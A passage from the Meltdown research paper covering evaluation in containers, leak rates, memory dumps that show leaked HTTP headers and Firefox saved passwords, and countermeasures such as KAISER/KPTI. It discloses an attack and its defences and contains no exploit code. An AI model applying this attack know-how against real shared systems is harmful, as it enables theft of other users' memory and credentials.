Windows kernel debugger to obtain kernel addresses
containing actual data. After leaking the data, we again
used the Windows kernel debugger to compare the leaked
data with the actual memory content, confirming that
Meltdown can successfully leak kernel memory.

6.1.4 Containers

We evaluated Meltdown running in containers sharing a
kernel, including Docker, LXC, and OpenVZ, and found
that the attack can be mounted without any restrictions.
Running Meltdown inside a container allows to leak in-
formation not only from the underlying kernel, but also
from all other containers running on the same physical
host.

The commonality of most container solutions is that
every container uses the same kernel, i.e., the kernel is
shared among all containers. Thus, every container has
a valid mapping of the entire physical memory through
the direct-physical map of the shared kernel. Further-
more, Meltdown cannot be blocked in containers, as it
uses only memory accesses. Especially with Intel TSX,
only unprivileged instructions are executed without even
trapping into the kernel.

Thus, the isolation of containers sharing a kernel can
be fully broken using Meltdown. This is especially crit-
ical for cheaper hosting providers where users are not
separated through fully virtualized machines, but only
through containers. We verified that our attack works in
such a setup, by successfully leaking memory contents
from a container of a different user under our control.

6.2 Meltdown Performance

To evaluate the performance of Meltdown, we leaked
known values from kernel memory. This allows us to
not only determine how fast an attacker can leak mem-
ory, but also the error rate, i.e., how many byte errors
to expect. We achieved average reading rates of up to
503 KB/s with an error rate as low as 0.02 % when using
exception suppression. For the performance evaluation,
we focused on the Intel Core i7-6700K as it supports In-
tel TSX, to get a fair performance comparison between
exception handling and exception suppression.

For all tests, we use Flush+Reload as a covert channel
to leak the memory as described in Section 5. We evalu-
ated the performance of both exception handling and ex-
ception suppression (cf. Section 4.1). For exception han-
dling, we used signal handlers, and if the CPU supported
it, we also used exception suppression using Intel TSX.
An extensive evaluation of exception suppression using
conditional branches was done by Kocher et al. [19] and
is thus omitted in this paper for the sake of brevity.

6.2.1 Exception Handling

Exception handling is the more universal implementa-
tion, as it does not depend on any CPU extension and can
thus be used without any restrictions. The only require-
ment for exception handling is operating system support
to catch segmentation faults and continue operation af-
terwards. This is the case for all modern operating sys-
tems, even though the specific implementation differs be-
tween the operating systems. On Linux, we used signals,
whereas, on Windows, we relied on the Structured Ex-
ception Handler.

With exception handling, we achieved average reading
speeds of 123 KB/s when leaking 12 MB of kernel mem-
ory. Out of the 12 MB kernel data, only 0.03 % were read
incorrectly. Thus, with an error rate of 0.03 %, the chan-
nel capacity is 122 KB/s.

6.2.2 Exception Suppression

Exception suppression can either be achieved using
conditional branches or using Intel TSX. Conditional
branches are covered in detail in Kocher et al. [19], hence
we only evaluate Intel TSX for exception suppression.
In contrast to exception handling, Intel TSX does not re-
quire operating system support, as it is an instruction-set
extension. However, Intel TSX is a rather new extension
and is thus only available on recent Intel CPUs, i.e., since
the Broadwell microarchitecture.

Again, we leaked 12 MB of kernel memory to mea-
sure the performance. With exception suppression, we
achieved average reading speeds of 503 KB/s. More-
over, the error rate of 0.02 % with exception suppression
is even lower than with exception handling. Thus, the
channel capacity we achieve with exception suppression
is 502 KB/s.

6.3 Meltdown in Practice

Listing 3 shows a memory dump using Meltdown on
an Intel Core i7-6700K running Ubuntu 16.10 with the
Linux kernel 4.8.0. In this example, we can identify
HTTP headers of a request to a web server running on the
machine. The XX cases represent bytes where the side
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79cbb30: 616f 61 4e 6b 32 38 46 31 34 67 65 68 61 7a 34 |aoaNk28F14gehaz4|

79cbb40: 5a74 4d 79 78 68 76 41 57 69 69 63 77 59 62 61 |ZtMyxhvAWiicwYba|

79cbb50: 356a 4c 76 4d 70 4b 56 56 32 4b 6a 37 4b 5a 4e |5jLvMpKVV2Kj7KZN|

79cbb60: 6655 6c 6e 72 38 64 74 35 54 62 43 63 7a 6f 44 |fUlnr8dt5TbCczoD|

79cbb70: 494e 46 71 58 6d 4a 69 34 58 50 39 62 43 53 47 |INFqXmJi4XP9bCSG|

79cbb80: 6c4c 48 32 5a 78 66 56 44 73 4b 57 39 34 68 6d |lLH2ZxfVDsKW94hm|

79cbb90: 3364 2f 41 4d 41 45 44 41 41 41 41 41 51 45 42 |3d/AMAEDAAAAAQEB|

79cbba0: 4141 41 41 41 41 3d 3d XX XX XX XX XX XX XX XX |AAAAAA==........|

79cbbb0: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

79cbbc0: XXXX XX 65 2d 68 65 61 64 XX XX XX XX XX XX XX |...e-head.......|

79cbbd0: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

79cbbe0: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

79cbbf0: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

79cbc00: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

79cbc10: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

79cbc20: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

79cbc30: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

79cbc40: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

79cbc50: XXXX XX XX 0d 0a XX 6f 72 69 67 69 6e 61 6c 2d |.......original-|

79cbc60: 7265 73 70 6f 6e 73 65 2d 68 65 61 64 65 72 73 |response-headers|

79cbc70: XX44 61 74 65 3a 20 53 61 74 2c 20 30 39 20 44 |.Date: Sat, 09 D|

79cbc80: 6563 20 32 30 31 37 20 32 32 3a 32 39 3a 32 35 |ec 2017 22:29:25|

79cbc90: 2047 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 | GMT..Content-Le|

79cbca0: 6e67 74 68 3a 20 31 0d 0a 43 6f 6e 74 65 6e 74 |ngth: 1..Content|

79cbcb0: 2d54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c |-Type: text/html|

79cbcc0: 3b20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d |; charset=utf-8.|

79cbcd0: 0a53 65 72 76 65 72 3a 20 54 77 69 73 74 65 64 |.Server: Twisted|

79cbce0: 5765 62 2f 31 36 2e 33 2e 30 0d 0a XX 75 6e 63 |Web/16.3.0...unc|

79cbcf0: 6f6d 70 72 65 73 73 65 64 2d 6c 65 6e XX XX XX |ompressed-len...|

Listing 3: Memory dump showing HTTP Headers on
Ubuntu 16.10 on a Intel Core i7-6700K

f94b7690: e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |................|

f94b76a0: e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |................|

f94b76b0: 70 52 b8 6b 96 7f XX XX XX XX XX XX XX XX XX XX |pR.k............|

f94b76c0: 09 XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

f94b76d0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

f94b76e0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX 81 |................|

f94b76f0: 12 XX e0 81 19 XX e0 81 44 6f 6c 70 68 69 6e 31 |........Dolphin1|

f94b7700: 38 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |8...............|

f94b7710: 70 52 b8 6b 96 7f XX XX XX XX XX XX XX XX XX XX |pR.k............|

f94b7720: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

f94b7730: XX XX XX XX 4a XX XX XX XX XX XX XX XX XX XX XX |....J...........|

f94b7740: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

f94b7750: XX XX XX XX XX XX XX XX XX XX e0 81 69 6e 73 74 |............inst|

f94b7760: 61 5f 30 32 30 33 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |a_0203..........|

f94b7770: 70 52 18 7d 28 7f XX XX XX XX XX XX XX XX XX XX |pR.}(...........|

f94b7780: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

f94b7790: XX XX XX XX 54 XX XX XX XX XX XX XX XX XX XX XX |....T...........|

f94b77a0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

f94b77b0: XX XX XX XX XX XX XX XX XX XX XX XX 73 65 63 72 |............secr|

f94b77c0: 65 74 70 77 64 30 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |etpwd0..........|

f94b77d0: 30 b4 18 7d 28 7f XX XX XX XX XX XX XX XX XX XX |0..}(...........|

f94b77e0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

f94b77f0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................|

f94b7800: e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |................|

f94b7810: 68 74 74 70 73 3a 2f 2f 61 64 64 6f 6e 73 2e 63 |https://addons.c|

f94b7820: 64 6e 2e 6d 6f 7a 69 6c 6c 61 2e 6e 65 74 2f 75 |dn.mozilla.net/u|

f94b7830: 73 65 72 2d 6d 65 64 69 61 2f 61 64 64 6f 6e 5f |ser-media/addon_|

f94b7840: 69 63 6f 6e 73 2f 33 35 34 2f 33 35 34 33 39 39 |icons/354/354399|

f94b7850: 2d 36 34 2e 70 6e 67 3f 6d 6f 64 69 66 69 65 64 |-64.png?modified|

f94b7860: 3d 31 34 35 32 32 34 34 38 31 35 XX XX XX XX XX |=1452244815.....|

Listing 4: Memory dump of Firefox 56 on Ubuntu 16.10
on a Intel Core i7-6700K disclosing saved passwords (cf.
Figure 6).

Figure 6: Firefox 56 password manager showing the
stored passwords that are leaked using Meltdown in List-
ing 4.

channel did not yield any results, i.e., no Flush+Reload
hit. Additional repetitions of the attack may still be able
to read these bytes.

Listing 4 shows a memory dump of Firefox 56 using
Meltdown on the same machine. We can clearly iden-
tify some of the passwords that are stored in the internal
password manager shown in Figure 6, i.e., Dolphin18,
insta 0203, and secretpwd0. The attack also recov-
ered a URL which appears to be related to a Firefox ad-
don.

6.4 Limitations on ARM and AMD
We also tried to reproduce the Meltdown bug on several
ARM and AMD CPUs. However, we did not manage
to successfully leak kernel memory with the attack de-
scribed in Section 5, neither on ARM nor on AMD. The
reasons for this can be manifold. First of all, our im-
plementation might simply be too slow and a more opti-
mized version might succeed. For instance, a more shal-
low out-of-order execution pipeline could tip the race
condition towards against the data leakage. Similarly,
if the processor lacks certain features, e.g., no re-order
buffer, our current implementation might not be able to
leak data. However, for both ARM and AMD, the toy
example as described in Section 3 works reliably, indi-
cating that out-of-order execution generally occurs and
instructions past illegal memory accesses are also per-
formed.

7 Countermeasures

In this section, we discuss countermeasures against the
Meltdown attack. At first, as the issue is rooted in the
hardware itself, we want to discuss possible microcode
updates and general changes in the hardware design.
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Second, we want to discuss the KAISER countermeasure
that has been developed to mitigate side-channel attacks
against KASLR which inadvertently also protects against
Meltdown.

7.1 Hardware

Meltdown bypasses the hardware-enforced isolation of
security domains. There is no software vulnerability in-
volved in Meltdown. Hence any software patch (e.g.,
KAISER [8]) will leave small amounts of memory ex-
posed (cf. Section 7.2). There is no documentation
whether such a fix requires the development of com-
pletely new hardware, or can be fixed using a microcode
update.

As Meltdown exploits out-of-order execution, a triv-
ial countermeasure would be to completely disable out-
of-order execution. However, the performance impacts
would be devastating, as the parallelism of modern CPUs
could not be leveraged anymore. Thus, this is not a vi-
able solution.

Meltdown is some form of race condition between the
fetch of a memory address and the corresponding per-
mission check for this address. Serializing the permis-
sion check and the register fetch can prevent Meltdown,
as the memory address is never fetched if the permission
check fails. However, this involves a significant overhead
to every memory fetch, as the memory fetch has to stall
until the permission check is completed.

A more realistic solution would be to introduce a hard
split of user space and kernel space. This could be en-
abled optionally by modern kernels using a new hard-
split bit in a CPU control register, e.g., CR4. If the hard-
split bit is set, the kernel has to reside in the upper half
of the address space, and the user space has to reside in
the lower half of the address space. With this hard split,
a memory fetch can immediately identify whether such a
fetch of the destination would violate a security bound-
ary, as the privilege level can be directly derived from
the virtual address without any further lookups. We ex-
pect the performance impacts of such a solution to be
minimal. Furthermore, the backwards compatibility is
ensured, since the hard-split bit is not set by default and
the kernel only sets it if it supports the hard-split feature.

Note that these countermeasures only prevent Melt-
down, and not the class of Spectre attacks described by
Kocher et al. [19]. Likewise, several countermeasures
presented by Kocher et al. [19] have no effect on Melt-
down. We stress that it is important to deploy counter-
measures against both attacks.

7.2 KAISER

As hardware is not as easy to patch, there is a need for
software workarounds until new hardware can be de-
ployed. Gruss et al. [8] proposed KAISER, a kernel mod-
ification to not have the kernel mapped in the user space.
This modification was intended to prevent side-channel
attacks breaking KASLR [13, 9, 17]. However, it also
prevents Meltdown, as it ensures that there is no valid
mapping to kernel space or physical memory available
in user space. KAISER will be available in the upcom-
ing releases of the Linux kernel under the name kernel
page-table isolation (KPTI) [25]. The patch will also
be backported to older Linux kernel versions. A simi-
lar patch was also introduced in Microsoft Windows 10
Build 17035 [15]. Also, Mac OS X and iOS have similar
features [22].

Although KAISER provides basic protection against
Meltdown, it still has some limitations. Due to the design
of the x86 architecture, several privileged memory loca-
tions are required to be mapped in user space [8]. This
leaves a residual attack surface for Meltdown, i.e., these
memory locations can still be read from user space. Even
though these memory locations do not contain any se-
crets, such as credentials, they might still contain point-
ers. Leaking one pointer can be enough to again break
KASLR, as the randomization can be calculated from the
pointer value.

Still, KAISER is the best short-time solution currently
available and should therefore be deployed on all sys-
tems immediately. Even with Meltdown, KAISER can
avoid having any kernel pointers on memory locations
that are mapped in the user space which would leak in-
formation about the randomized offsets. This would re-
quire trampoline locations for every kernel pointer, i.e.,
the interrupt handler would not call into kernel code di-
rectly, but through a trampoline function. The trampo-
line function must only be mapped in the kernel. It must
be randomized with a different offset than the remaining
kernel. Consequently, an attacker can only leak pointers
to the trampoline code, but not the randomized offsets of
the remaining kernel. Such trampoline code is required
for every kernel memory that still has to be mapped in
user space and contains kernel addresses. This approach
is a trade-off between performance and security which
has to be assessed in future work.

8 Discussion

Meltdown fundamentally changes our perspective on the
security of hardware optimizations that manipulate the
state of microarchitectural elements. The fact that hard-
ware optimizations can change the state of microar-
chitectural elements, and thereby imperil secure soft-
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ware implementations, is known since more than 20
years [20]. Both industry and the scientific community
so far accepted this as a necessary evil for efficient com-
puting. Today it is considered a bug when a crypto-
graphic algorithm is not protected against the microar-
chitectural leakage introduced by the hardware optimiza-
tions. Meltdown changes the situation entirely. Melt-
down shifts the granularity from a comparably low spa-
tial and temporal granularity, e.g., 64-bytes every few
hundred cycles for cache attacks, to an arbitrary granu-
larity, allowing an attacker to read every single bit. This
is nothing any (cryptographic) algorithm can protect it-
self against. KAISER is a short-term software fix, but the
problem we uncovered is much more significant.

We expect several more performance optimizations in
modern CPUs which affect the microarchitectural state
in some way, not even necessarily through the cache.
Thus, hardware which is designed to provide certain se-
curity guarantees, e.g., CPUs running untrusted code, re-
quire a redesign to avoid Meltdown- and Spectre-like at-
tacks. Meltdown also shows that even error-free soft-
ware, which is explicitly written to thwart side-channel
attacks, is not secure if the design of the underlying hard-
ware is not taken into account.

With the integration of KAISER into all major oper-
ating systems, an important step has already been done
to prevent Meltdown. KAISER is also the first step of
a paradigm change in operating systems. Instead of al-
ways mapping everything into the address space, map-
ping only the minimally required memory locations ap-
pears to be a first step in reducing the attack surface.
However, it might not be enough, and an even stronger
isolation may be required. In this case, we can trade flex-
ibility for performance and security, by e.g., forcing a
certain virtual memory layout for every operating sys-
tem. As most modern operating system already use basi-
cally the same memory layout, this might be a promising
approach.

Meltdown also heavily affects cloud providers, espe-
cially if the guests are not fully virtualized. For per-
formance reasons, many hosting or cloud providers do
not have an abstraction layer for virtual memory. In
such environments, which typically use containers, such
as Docker or OpenVZ, the kernel is shared among all
guests. Thus, the isolation between guests can simply be
circumvented with Meltdown, fully exposing the data of
all other guests on the same host. For these providers,
changing their infrastructure to full virtualization or us-
ing software workarounds such as KAISER would both
increase the costs significantly.

Even if Meltdown is fixed, Spectre [19] will remain
an issue. Spectre [19] and Meltdown need different de-
fenses. Specifically mitigating only one of them will
leave the security of the entire system at risk. We expect

that Meltdown and Spectre open a new field of research
to investigate in what extent performance optimizations
change the microarchitectural state, how this state can be
translated into an architectural state, and how such at-
tacks can be prevented.

9 Conclusion

In this paper, we presented Meltdown, a novel software-
based side-channel attack exploiting out-of-order execu-
tion on modern processors to read arbitrary kernel- and
physical-memory locations from an unprivileged user
space program. Without requiring any software vulner-
ability and independent of the operating system, Melt-
down enables an adversary to read sensitive data of other
processes or virtual machines in the cloud with up to
503 KB/s, affecting millions of devices. We showed that
the countermeasure KAISER [8], originally proposed to
protect from side-channel attacks against KASLR, in-
advertently impedes Meltdown as well. We stress that
KAISER needs to be deployed on every operating sys-
tem as a short-term workaround, until Meltdown is fixed
in hardware, to prevent large-scale exploitation of Melt-
down.
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ing for reuse prediction. In Microarchitecture (MICRO), 2016
49th Annual IEEE/ACM International Symposium on (2016),
IEEE, pp. 1–12.

[33] TOMASULO, R. M. An efficient algorithm for exploiting multi-
ple arithmetic units. IBM Journal of research and Development
11, 1 (1967), 25–33.

[34] VINTAN, L. N., AND IRIDON, M. Towards a high performance
neural branch predictor. In Neural Networks, 1999. IJCNN’99.
International Joint Conference on (1999), vol. 2, IEEE, pp. 868–
873.

[35] YAROM, Y., AND FALKNER, K. Flush+Reload: a High Reso-
lution, Low Noise, L3 Cache Side-Channel Attack. In USENIX
Security Symposium (2014).

[36] YEH, T.-Y., AND PATT, Y. N. Two-level adaptive training
branch prediction. In Proceedings of the 24th annual interna-
tional symposium on Microarchitecture (1991), ACM, pp. 51–61.

[37] ZHANG, Y., JUELS, A., REITER, M. K., AND RISTENPART, T.
Cross-Tenant Side-Channel Attacks in PaaS Clouds. In CCS’14
(2014).

16


	spectre.pdf
	Introduction
	Our Results
	Our Techniques
	Targeted Hardware and Current Status 
	Meltdown

	Background
	Out-of-order Execution
	Speculative Execution
	Branch Prediction
	The Memory Hierarchy
	Microarchitectural Side-Channel Attacks
	Return-Oriented Programming

	Attack Overview
	Exploiting Conditional Branch Misprediction
	Discussion
	Example Implementation in C
	Example Implementation in JavaScript

	Poisoning Indirect Branches
	Discussion
	Example Implementation on Windows

	Variations
	Mitigation Options
	Conclusions and Future Work
	Acknowledgments
	Spectre Example Implementation

	meltdown.pdf
	Introduction
	Background
	Out-of-order execution
	Address Spaces
	Cache Attacks

	A Toy Example
	Building Blocks of the Attack
	Executing Transient Instructions
	Building a Covert Channel

	Meltdown
	Attack Description
	Optimizations and Limitations

	Evaluation
	Information Leakage and Environments
	Linux
	Linux with KAISER Patch
	Microsoft Windows
	Containers

	Meltdown Performance
	Exception Handling
	Exception Suppression

	Meltdown in Practice
	Limitations on ARM and AMD

	Countermeasures
	Hardware
	KAISER

	Discussion
	Conclusion


